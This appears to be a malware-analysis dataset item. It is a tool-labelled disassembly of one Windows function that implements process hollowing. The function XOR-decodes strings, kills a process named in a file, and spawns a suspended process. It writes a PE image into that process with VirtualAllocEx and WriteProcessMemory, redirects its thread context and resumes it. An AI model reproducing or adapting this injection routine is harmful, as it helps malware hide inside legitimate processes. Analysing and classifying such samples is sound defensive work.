Function at 0x1400040b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Delete file
Encode data using xor
Query environment variable
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xbe0]
sub rsp, 0xce0
mov rax, qword [0x14000d010]
xor rax, rsp
mov qword [rbp + 0xbd0], rax
xor r15d, r15d
mov dword [rbp + 0x10], r15d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0xa50]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x1400097e0]
mov qword [rbp + 0xa50], rax
lea rcx, [rbp + 0xb00]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov r12d, 1
mov dword [rbp + 0x10], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xa60]
lea rcx, [rbp + 0xa50]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0xa50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xa50], rax
mov rax, qword [rbp + 0xa50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xa4c], edx
lea rax, [rbp + 0xa60]
mov qword [rbp], rax
lea rcx, [rbp + 0xa60]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0xa60], rax
mov byte [rbp + 0xadc], r15b
mov byte [rbp + 0xad1], r15b
lea rcx, [rbp + 0xa60]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0xae0], r15
mov rax, qword [0x14000d9d0]
mov qword [rbp + 0xad4], rax
mov qword [rbp + 0xac8], r15
mov qword [rbp + 0xa08], r15
mov qword [rbp + 0xa18], r15
mov qword [rbp + 0xa20], 0xf
mov byte [rbp + 0xa08], r15b
lea rcx, str.ANQRRRRRUgtz_5_ITTYfkw_5BKKMUYboqrx
call fcn.1400075f0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r13, 0xffffffffffffffff
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140004224
mov rdx, rax
lea rcx, [rbp + 0xa08]
call fcn.1400063c0
movdqa xmm0, xmmword [0x140009a50]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x11181110
mov dword [rsp + 0x64], 0x1459121b
mov dword [rsp + 0x68], 0x1001d16
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x61]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0x1a
jb 0x140004270
mov byte [rsp + 0x6b], 0
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
mov r8d, 0x1a
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.1400063c0
nop
lea r8, [rbp + 0xa08]
cmp qword [rbp + 0xa20], 0x10
cmovae r8, qword [rbp + 0xa08]
mov r9, qword [rbp + 0xa18]
lea rcx, [rsp + 0x70]
call fcn.140006930
mov qword [rbp + 0x9e8], r15
mov qword [rbp + 0x9f8], r15
mov qword [rbp + 0xa00], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x9e8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x9f8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140004351
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000434c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000434c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400077e0
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
lea rdx, [rbp + 0x9e8]
cmp qword [rbp + 0xa00], 0x10
cmovae rdx, qword [rbp + 0x9e8]
mov r8d, r12d
lea rcx, [rbp + 0xa60]
call fcn.140006280
xor r8d, r8d
test rax, rax
mov rax, qword [rbp + 0xa50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xa50]
je 0x1400043af
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x1400043bd
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0xa50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
lea rcx, [rbp + 0xa60]
call fcn.140006200
test rax, rax
jne 0x140004401
mov rax, qword [rbp + 0xa50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xa50]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov qword [rbp + 0x9c8], r15
mov qword [rbp + 0x9d8], r15
mov qword [rbp + 0x9e0], 0xf
mov byte [rbp + 0x9c8], 0
mov dword [rbp], 0x20333220
mov dword [rbp + 4], 0x263224
mov byte [rbp + 8], 1
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x61]
xor byte [rbp + rcx], al
inc rcx
cmp rcx, 7
jb 0x140004440
mov byte [rbp + 8], 0
lea rcx, [rbp]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140004461
mov rdx, rax
lea rcx, [rbp + 0x9c8]
call fcn.1400063c0
movdqa xmm0, xmmword [str.5_n_n]
movdqu xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x140009ac0]
movdqu xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x140009ae0]
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], 0x100f7f3
mov rcx, r15
nop dword [rax + rax]
lea eax, [rcx + 0x61]
xor byte [rbp + rcx - 0x70], al
inc rcx
cmp rcx, 0x32
jb 0x1400044b0
mov byte [rbp - 0x3d], 0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov r8d, 0x32
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x50]
call fcn.1400063c0
nop
lea r9, [rsp + 0x50]
mov rdi, qword [rsp + 0x50]
mov r14, qword [rsp + 0x68]
cmp r14, 0x10
cmovae r9, rdi
mov rcx, qword [rbp + 0x9d8]
mov rdx, qword [rbp + 0x9e0]
mov rax, rdx
sub rax, rcx
mov rsi, qword [rsp + 0x60]
cmp rsi, rax
ja 0x14000455b
lea rax, [rsi + rcx]
mov qword [rbp + 0x9d8], rax
lea rbx, [rbp + 0x9c8]
cmp rdx, 0x10
cmovae rbx, qword [rbp + 0x9c8]
add rbx, rcx
mov r8, rsi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rsi + rbx], 0
jmp 0x140004579
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rbp + 0x9c8]
call fcn.140006780
mov r14, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x50]
cmp r14, 0x10
jb 0x1400045b3
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400045ab
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400045ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400077e0
lea rcx, [rbp + 0x9c8]
cmp qword [rbp + 0x9e0], 0x10
cmovae rcx, qword [rbp + 0x9c8]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov r8d, dword [rbp + 0x18]
xor edx, edx
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400045fc
mov edx, r12d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.EQT______lnu.9DOWcgks__03AJKZhn____5__FIPT_kuuy___336:_JTZggmrs_1
call fcn.1400075f0
mov qword [0x14000d9a0], rax
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], r15
lea rsi, [rbp + 0xa08]
mov r14, qword [rbp + 0xa08]
mov r15, qword [rbp + 0xa20]
cmp r15, 0x10
cmovae rsi, r14
mov rdi, qword [rbp + 0xa18]
cmp rdi, 0x10
jae 0x140004653
movups xmm0, xmmword [rsi]
movups xmmword [rbp - 0x70], xmm0
mov ebx, 0xf
jmp 0x1400046cb
mov rbx, rdi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400046aa
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140005141
mov rcx, rax
call fcn.1400077e8
mov rcx, rax
test rax, rax
je 0x1400046a3
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400046b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400046b6
call fcn.1400077e8
jmp 0x1400046b8
xor eax, eax
mov qword [rbp - 0x70], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], rbx
lea rcx, [rbp - 0x70]
call fcn.140002d40
movdqa xmm0, xmmword [0x140009a60]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x1d115c14
mov word [rsp + 0x64], 0x1b
mov byte [rsp + 0x66], 1
xor edx, edx
mov ecx, edx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x61]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0x15
jb 0x140004710
mov byte [rsp + 0x66], dl
mov qword [rbp - 0x38], rdx
mov qword [rbp - 0x28], rdx
mov qword [rbp - 0x20], 0xf
mov byte [rbp - 0x38], dl
mov r8d, 0x15
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x38]
call fcn.1400063c0
nop
lea r8, [rbp + 0xa08]
cmp r15, 0x10
cmovae r8, r14
mov r9, rdi
lea rcx, [rbp - 0x38]
call fcn.140006930
xor r14d, r14d
mov qword [rbp + 0xa28], r14
mov qword [rbp + 0xa38], r14
mov qword [rbp + 0xa40], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa38], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x1400047e1
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400047dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400047dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400077e0
mov qword [rbp - 0x28], r14
mov qword [rbp - 0x20], 0xf
mov byte [rbp - 0x38], 0
lea rcx, [rbp + 0xa28]
cmp qword [rbp + 0xa40], 0x10
cmovae rcx, qword [rbp + 0xa28]
call fcn.140002070
mov rbx, rax
movsxd rcx, dword [rax + 0x3c]
cmp dword [rcx + rax], 0x4550
jne 0x140004f91
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb64], xmm0
movups xmmword [rbp + 0xb74], xmm0
movups xmmword [rbp + 0xb84], xmm0
movups xmmword [rbp + 0xb94], xmm0
movups xmmword [rbp + 0xba4], xmm0
movups xmmword [rbp + 0xbb4], xmm0
mov dword [rbp + 0xbc4], eax
mov dword [rbp + 0xb60], 0x68
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], rax
lea rax, [rbp - 0x18]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xb60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x14000d9a0]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000494b
lea rdx, [rbp + 0x9c0]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
xor edx, edx
cmp dword [rbp + 0x9c0], edx
je 0x14000499b
mov qword [rbp + 0x10], r14
mov r8d, 0x2c8
lea rcx, [rbp + 0x24]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x20], 0x10000b
lea rdx, [rbp + 0x20]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov edx, dword [rbp + 0xc4]
add edx, 8
mov qword [rsp + 0x20], r14
mov r9d, 4
lea r8, [rbp + 0x10]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x14000494b
mov ecx, dword [rbp + 0xc4]
mov qword [rsp + 0x70], rcx
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
test rax, rax
je 0x14000494b
test rcx, rcx
jne 0x140004a2a
cmp rbx, 0xffffffffffffffff
je 0x140004965
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x140004974
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x140004fa6
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140004fa6
mov qword [rbp], r14
mov r8d, 0x4d0
lea rcx, [rbp + 0x4f0]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x520], 0x10000b
lea rdx, [rbp + 0x4f0]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp + 0x578]
add rdx, 0x10
mov qword [rsp + 0x20], r14
mov r9d, 8
lea r8, [rbp]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x14000494b
mov rcx, qword [rbp + 0x578]
mov qword [rsp + 0x70], rcx
mov rax, qword [rbp]
mov qword [rsp + 0x78], rax
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
test rax, rax
je 0x14000494b
test rcx, rcx
je 0x14000494b
movsxd rcx, dword [rbx + 0x3c]
mov eax, 0x10b
cmp word [rcx + rbx + 0x18], ax
mov eax, dword [rbp + 0x9c0]
jne 0x140004a49
test eax, eax
jne 0x140004a54
jmp 0x140004fa6
mov r12d, r14d
test eax, eax
jne 0x140004fa6
movzx edi, word [rcx + rbx + 0x5c]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rbp - 0x18]
test eax, eax
je 0x140004a6d
call fcn.140001810
jmp 0x140004a72
call fcn.140001950
cmp eax, 0xffffffff
je 0x14000494b
cmp edi, eax
jne 0x14000494b
movsxd rax, dword [rbx + 0x3c]
lea rdi, [rax + rbx]
test r12d, r12d
je 0x140004c21
cmp dword [rdi + 0xa0], 0
jne 0x140004bcd
lea rdi, [rax + rbx]
mov r8d, dword [rdi + 0x50]
mov edx, dword [rdi + 0x34]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x140004f4b
mov r9d, dword [rdi + 0x54]
mov qword [rsp + 0x20], r14
mov r8, rbx
mov rdx, rax
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004f4b
mov esi, r14d
cmp r14w, word [rdi + 6]
jae 0x140004b46
nop dword [rax + rax]
movzx eax, word [rdi + 0x14]
add rax, rdi
mov r9d, dword [rax + r14 + 0x28]
mov r8d, dword [rax + r14 + 0x2c]
add r8, rbx
mov edx, dword [rax + r14 + 0x24]
add rdx, r15
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004f4b
inc esi
add r14, 0x28
movzx eax, word [rdi + 6]
cmp esi, eax
jl 0x140004b00
xor r14d, r14d
xor edx, edx
mov r8d, 0x2c8
lea rcx, [rbp + 0x24]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x20], 0x10000b
lea rdx, [rbp + 0x20]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x140004f4b
mov edx, dword [rbp + 0xc4]
add rdx, 8
mov qword [rsp + 0x20], r14
mov r9d, 4
lea r8, [rdi + 0x34]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004f4b
mov ecx, dword [rdi + 0x28]
add ecx, r15d
mov dword [rbp + 0xd0], ecx
lea rdx, [rbp + 0x20]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x140004f4b
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x140004be1
mov rdx, rbx
lea rcx, [rbp - 0x18]
call fcn.140001aa0
test eax, eax
je 0x140004f4b
cmp rbx, 0xffffffffffffffff
je 0x140004bfb
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x140004c0a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x140004c19
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r13d, r14d
jmp 0x140004fa6
cmp dword [rdi + 0xb0], 0
je 0x140004d33
mov rdx, rbx
lea rcx, [rbp - 0x18]
call fcn.140001d90
test eax, eax
je 0x140004f4b
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x20]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x20]
call fcn.140005150
nop
lea rdx, [rbp + 0x9e8]
cmp qword [rbp + 0xa00], 0x10
cmovae rdx, qword [rbp + 0x9e8]
mov r8d, 2
lea rcx, [rbp + 0x28]
call fcn.140006280
xor r8d, r8d
test rax, rax
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x20]
je 0x140004ca4
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x140004cb2
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov edx, dword [rbp - 8]
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rcx, [rbp + 0x28]
call fcn.140006200
test rax, rax
jne 0x140004ce9
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x20]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
cmp rbx, 0xffffffffffffffff
je 0x140004d03
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x140004d12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x140004d22
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 0x20]
call fcn.140002c70
mov r13d, r14d
jmp 0x140004fa6
mov r8d, dword [rdi + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rdi + 0x30]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x140004f4b
mov r9d, dword [rdi + 0x54]
mov qword [rsp + 0x20], r14
mov r8, rbx
mov rdx, rax
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004f4b
mov esi, r14d
cmp r14w, word [rdi + 6]
jae 0x140004dd6
nop word [rax + rax]
movzx eax, word [rdi + 0x14]
add rax, rdi
mov r9d, dword [rax + r14 + 0x28]
mov r8d, dword [rax + r14 + 0x2c]
add r8, rbx
mov edx, dword [rax + r14 + 0x24]
add rdx, r15
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004f4b
inc esi
add r14, 0x28
movzx eax, word [rdi + 6]
cmp esi, eax
jl 0x140004d90
xor r14d, r14d
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rbp + 0x20]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x50], 0x10000b
lea rdx, [rbp + 0x20]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140004f4b
mov rdx, qword [rbp + 0xa8]
add rdx, 0x10
mov qword [rsp + 0x20], r14
mov r9d, 8
lea r8, [rdi + 0x30]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140004f4b
mov eax, dword [rdi + 0x28]
add rax, r15
mov qword [rbp + 0xa0], rax
lea rdx, [rbp + 0x20]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x140004f4b
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x20]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x20]
call fcn.140005150
nop
lea rdx, [rbp + 0x9e8]
cmp qword [rbp + 0xa00], 0x10
cmovae rdx, qword [rbp + 0x9e8]
mov r8d, 2
lea rcx, [rbp + 0x28]
call fcn.140006280
xor r8d, r8d
test rax, rax
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x20]
je 0x140004ebf
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x140004ecd
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov edx, dword [rbp - 8]
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rcx, [rbp + 0x28]
call fcn.140006200
test rax, rax
jne 0x140004f04
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x20]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
cmp rbx, 0xffffffffffffffff
je 0x140004f1e
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x140004f2d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x140004f3d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 0x20]
call fcn.140002c70
mov r13d, r14d
jmp 0x140004fa6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x140004f6e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x140004f8c
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r14d, r14d
jmp 0x140004fa6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
mov rdx, qword [rbp + 0xa40]
cmp rdx, 0x10
jb 0x140004fea
inc rdx
mov rcx, qword [rbp + 0xa28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fe5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004fe5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400077e0
mov qword [rbp + 0xa38], r14
mov qword [rbp + 0xa40], 0xf
mov byte [rbp + 0xa28], 0
mov rdx, qword [rbp + 0x9e0]
cmp rdx, 0x10
jb 0x140005047
inc rdx
mov rcx, qword [rbp + 0x9c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005042
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005042
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400077e0
mov qword [rbp + 0x9d8], r14
mov qword [rbp + 0x9e0], 0xf
mov byte [rbp + 0x9c8], 0
mov rdx, qword [rbp + 0xa00]
cmp rdx, 0x10
jb 0x1400050a4
inc rdx
mov rcx, qword [rbp + 0x9e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000509f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000509f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400077e0
mov qword [rbp + 0x9f8], r14
mov qword [rbp + 0xa00], 0xf
mov byte [rbp + 0x9e8], 0
mov rdx, qword [rbp + 0xa20]
cmp rdx, 0x10
jb 0x140005102
inc rdx
mov rcx, qword [rbp + 0xa08]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400050fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400050fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400077e0
nop
lea rcx, [rbp + 0xa50]
call fcn.140002290
mov eax, r13d
mov rcx, qword [rbp + 0xbd0]
xor rcx, rsp
